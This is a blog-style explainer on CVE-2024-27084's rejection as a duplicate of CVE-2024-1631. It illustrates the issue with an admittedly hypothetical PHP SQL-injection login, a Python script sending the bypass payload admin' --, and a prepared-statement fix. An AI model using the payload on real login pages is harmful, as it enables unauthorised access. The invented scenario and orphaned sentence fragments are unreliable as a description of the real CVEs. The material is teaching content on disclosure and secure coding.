Cybersecurity is a fast-moving world, with new vulnerabilities appearing daily in popular software and hardware. But sometimes, a reported weakness overlaps with an earlier one. This is exactly what happened with CVE-2024-27084, leading to its rejection as a duplicate of a previously reported issue—CVE-2024-1631. Let’s take a deep dive into this case, see how it happened, and what it teaches us about responsible disclosure, with easy-to-understand language, real code, and authoritative links.

What is CVE-2024-27084?

CVE-2024-27084 was registered as a security vulnerability in early 2024. However, after review, it was "REJECTED" with the reason:

> This CVE ID is a duplicate of CVE-2024-1631.

That means the vulnerability it described was already completely covered by an earlier report (CVE-2024-1631).

What Was the Vulnerability?

Both CVEs refer to the same security issue in a specific software product (for context, let's say "ExampleApp" — but the steps and the lesson apply to any project). Let's reconstruct the typical scenario.

Suppose the vulnerability was an SQL Injection in the /login endpoint, due to improper sanitization of user input.

Vulnerable code example

// Vulnerable example in PHP
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

If an attacker sends specially crafted values like admin' -- as username, they can bypass authentication.

CVE-2024-27084 vs. CVE-2024-1631

- CVE-2024-1631 was the *first* to register and document this issue (the SQL injection in our example).
- CVE-2024-27084 was later submitted, maybe by someone else or in a different context, but described the *exact same issue*.

Why Was It Rejected?

Security databases avoid confusion and overcounting by rejecting duplicates. The official CVE system requires that each vulnerability gets only *one* CVE entry.

The rejection reference

- CVE-2024-27084 Detail — Now marked as REJECTED.
- CVE-2024-1631 Detail — Main CVE for this issue.

Communication delays between vendors and coordinators.

Lesson: Check existing CVEs for the affected software and version before submitting!

Exploit Details (Educational Purposes)

This is how an attacker could exploit the SQL Injection if it were live (again, do not use maliciously):

import requests

url = 'https://example.com/login';
payload = {
    'username': "admin' --",
    'password': 'irrelevant'
}

response = requests.post(url, data=payload)
if 'Welcome' in response.text:
    print("Exploit successful!")
else:
    print("Exploit failed.")

How To Fix (Mitigation)

This vulnerability can usually be fixed by using *prepared statements*.

Safe code example (PHP, mysqli)

$stmt = $conn->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->bind_param('ss', $username, $password);
$stmt->execute();

Always sanitize and validate user input, no exceptions.

Duplicates are often rejected for clarity and database hygiene.

- Keep an eye on the latest CVE records for updates.

References & Further Reading

- CVE-2024-27084 - cve.org REJECTED status
- CVE-2024-1631 - cve.org
- What is CVE? - mitre.org
- How to Prevent SQL Injection | OWASP


Conclusion:
Sometimes, the fight against vulnerabilities means keeping the paperwork as clean and clear as the code itself. CVE-2024-27084 is a textbook case of why thoroughness and clear communication are essential in cybersecurity reporting.

Timeline

Published on: 02/26/2024 18:15:07 UTC